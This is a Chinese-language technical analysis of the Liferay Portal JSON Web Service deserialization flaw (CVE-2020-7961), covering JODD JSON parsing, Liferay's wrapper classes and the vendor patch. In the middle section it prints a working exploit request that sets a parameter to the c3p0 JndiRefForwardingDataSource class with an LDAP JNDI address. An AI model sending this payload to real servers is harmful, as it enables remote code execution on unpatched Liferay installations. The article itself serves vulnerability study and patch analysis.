如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析，针对这个问题，这篇文章详细介绍了相对应的分析和解答，希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
Liferay Portal对于JSON Web Service的处理，在6.1、6.2版本中使用的是 Flexjson库，在7版本之后换成了Jodd Json。
总结起来该漏洞就是：Liferay Portal提供了Json Web Service服务，对于某些可以调用的端点，如果某个方法提供的是Object参数类型，那么就能够构造符合Java Beans的可利用恶意类，传递构造好的json反序列化串，Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法。不过还有一些细节问题，感觉还挺有意思，作者文中那张向上查找图，想着idea也没提供这样方便的功能，应该是自己实现的查找工具，文中分析下Liferay使用JODD反序列化的情况。
JODD序列化与反序列化
参考官方使用手册，先看下JODD的直接序列化与反序列化：
TestObject.java
package com.longofo;import java.util.HashMap;public class TestObject {
private String name;
private Object object;
private HashMap<String, String> hashMap;
public TestObject() {
System.out.println("TestObject default constractor call");
}
public String getName() {
System.out.println("TestObject getName call");
return name;
}
public void setName(String name) {
System.out.println("TestObject setName call");
this.name = name;
}
public Object getObject() {
System.out.println("TestObject getObject call");
return object;
}
public void setObject(Object object) {
System.out.println("TestObject setObject call");
this.object = object;
}
public HashMap<String, String> getHashMap() {
System.out.println("TestObject getHashMap call");
return hashMap;
}
public void setHashMap(HashMap<String, String> hashMap) {
System.out.println("TestObject setHashMap call");
this.hashMap = hashMap;
}
@Override
public String toString() {
return "TestObject{" +
"name='" + name + '/'' +
", object=" + object +
", hashMap=" + hashMap +
'}';
}}
TestObject1.java
package com.longofo;public class TestObject1 {
private String jndiName;
public TestObject1() {
System.out.println("TestObject1 default constractor call");
}
public String getJndiName() {
System.out.println("TestObject1 getJndiName call");
return jndiName;
}
public void setJndiName(String jndiName) {
System.out.println("TestObject1 setJndiName call");
this.jndiName = jndiName;// Context context = new InitialContext();// context.lookup(jndiName);
}}
Test.java
package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {
public static void main(String[] args) {
System.out.println("test common usage");
test1Common();
System.out.println();
System.out.println();
System.out.println("test unsecurity usage");
test2Unsecurity();
}
public static void test1Common() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
System.out.println(dtestObject);
}
public static void test2Unsecurity() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
System.out.println(dtestObject);
}}
输出：
test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}----------------------------------------TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}----------------------------------------TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}
在Test.java中，使用了两种方式，第一种是常用的使用方式，在反序列化时指定根类型（rootType）；而第二种官方也不推荐这样使用，存在安全问题，假设某个应用提供了接收JODD Json的地方，并且使用了第二种方式，那么就可以任意指定类型进行反序列化了，不过Liferay这个漏洞给并不是这个原因造成的，它并没有使用setClassMetadataName("class")这种方式。
Liferay对JODD的包装
Liferay没有直接使用JODD进行处理，而是重新包装了JODD一些功能。代码不长，所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。
JSONSerializerImpl
Liferay对JODD JsonSerializer的包装是com.liferay.portal.json.JSONSerializerImpl类：
public class JSONSerializerImpl implements JSONSerializer {
private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置
public JSONSerializerImpl() {
if (JavaDetector.isIBM()) {//探测JDK
SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
}
this._jsonSerializer = new JsonSerializer();
}
public JSONSerializerImpl exclude(String... fields) {
this._jsonSerializer.exclude(fields);//排除某个field不序列化
return this;
}
public JSONSerializerImpl include(String... fields) {
this._jsonSerializer.include(fields);//包含某个field进行序列化
return this;
}
public String serialize(Object target) {
return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化
}
public String serializeDeep(Object target) {
JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型
return jsonSerializer.serialize(target);
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
static {
//全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理
JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
}
private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {
private LongToStringTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, Long value) {
jsonContext.writeString(String.valueOf(value));
}
}
private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {
private JSONObjectTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
jsonContext.write(jsonObject.toString());
}
}
private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {
private JSONArrayTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
jsonContext.write(jsonArray.toString());
}
}}
能看出就是设置了JODD JsonSerializer在序列化时的一些功能。
JSONDeserializerImpl
Liferay对JODD JsonParser的包装是com.liferay.portal.json.JSONDeserializerImpl类：
public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {
private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置
public JSONDeserializerImpl() {
if (JavaDetector.isIBM()) {//探测JDK
SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
}
this._jsonDeserializer = new PortalJsonParser();
}
public T deserialize(String input) {
return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化
}
public T deserialize(String input, Class<T> targetType) {
return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）
}
public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器
ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
this._jsonDeserializer.use(field, valueConverter);
return this;
}
public JSONDeserializer<T> use(String path, Class<?> clazz) {
this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的
return this;
}}
能看出也是设置了JODD JsonParser在反序列化时的一些功能。
Liferay 漏洞分析
Liferay在/api/jsonws API提供了几百个可以调用的Webservice，负责处理的该API的Servlet也直接在web.xml中进行了配置：
随意点一个方法看看：
看到这个有点感觉了，可以传递参数进行方法调用，有个p_auth是用来验证的，不过反序列化在验证之前，所以那个值对漏洞利用没影响。根据CODE WHITE那篇分析，是存在参数类型为Object的方法参数的，那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下，这里就不写正常的调用调试过程了，简单看一下post参数：
cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true
总的来说就是Liferay先查找/announcementsdelivery/update-delivery对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法。
但是抓包并没有类型指定，因为大多数类型是String、long、int、List、map等类型，JODD反序列化时会自动处理。但是对于某些接口/Object类型的field，如果要指定具体的类型，该怎么指定？
作者文中提到，Liferay Portal 7中只能显示指定rootType进行调用，从上面Liferay对JODD JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象，那么Liferay本身可能会先对数据进行解析，获取到指定的类型，然后调用JODD的parse(path,class)方法，传递解析出的具体类型来恢复这个参数对象；也有可能Liferay并没有这样做。不过从作者的分析中可以看出，Liferay确实这样做了。作者查找了jodd.json.Parser#rootType的调用图（羡慕这样的工具）：
通过向上查找的方式，作者找到了可能存在能指定根类型的地方，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl调用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize调用的是JSONSerializerImpl，JSONSerializerImpl调用的是JODD的JsonParse.parse。
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的调用就是Liferay解析Web Service参数的过程了。它的上一层JSONWebServiceActionImpl#_prepareParameters(Class<?>)，JSONWebServiceActionImpl类有个_jsonWebServiceActionParameters属性：
这个属性中又保存着一个JSONWebServiceActionParametersMap，在它的put方法中，当参数以+开头时，它的put方法以:分割了传递的参数,:之前是参数名,:之后是类型名。
而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成：
通过上面的分析与作者的文章，我们能知道以下几点：
-
Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法
-
参数可以以+开头，用
:指定参数类型 -
JODD JsonParse会调用类的默认构造方法，以及field对应的setter方法
所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链，可以直接找Jackson、带Yaml的，看他们继承的利用链，大多数也适合这个漏洞，同时也要看在Liferay中是否存在才能用。这里用com.mchange.v2.c3p0.JndiRefForwardingDataSource这个测试，用/expandocolumn/add-column这个Service，因为他有java.lang.Object参数：
Payload如下：
cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}
解析出了参数类型，并进行参数对象反序列化，最后到达了jndi查询：
补丁分析
Liferay补丁增加了类型校验，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中：
private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {
String parameterTypeName = parameterType.getName();
if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法
throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
} else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验
if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类
throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
} else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验
if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验
if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();
if (serviceReferences != null) {
String key = "jsonws.web.service.parameter.type.whitelist.class.names";
ServiceReference[] var7 = serviceReferences;
int var8 = serviceReferences.length;
for(int var9 = 0; var9 < var8; ++var9) {
ServiceReference<Object> serviceReference = var7[var9];
List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
if (whitelistedClassNames.contains(parameterTypeName)) {
return;
}
}
}
throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
}
}
}
}
}
_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES所有白名单类在portal.properties中，有点长就不列出来了，基本都是以com.liferay开头的类。
关于如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析问题的解答就分享到这里了，希望以上内容可以对大家有一定的帮助，如果你还有很多疑惑没有解开，可以关注亿速云行业资讯频道了解更多相关知识。
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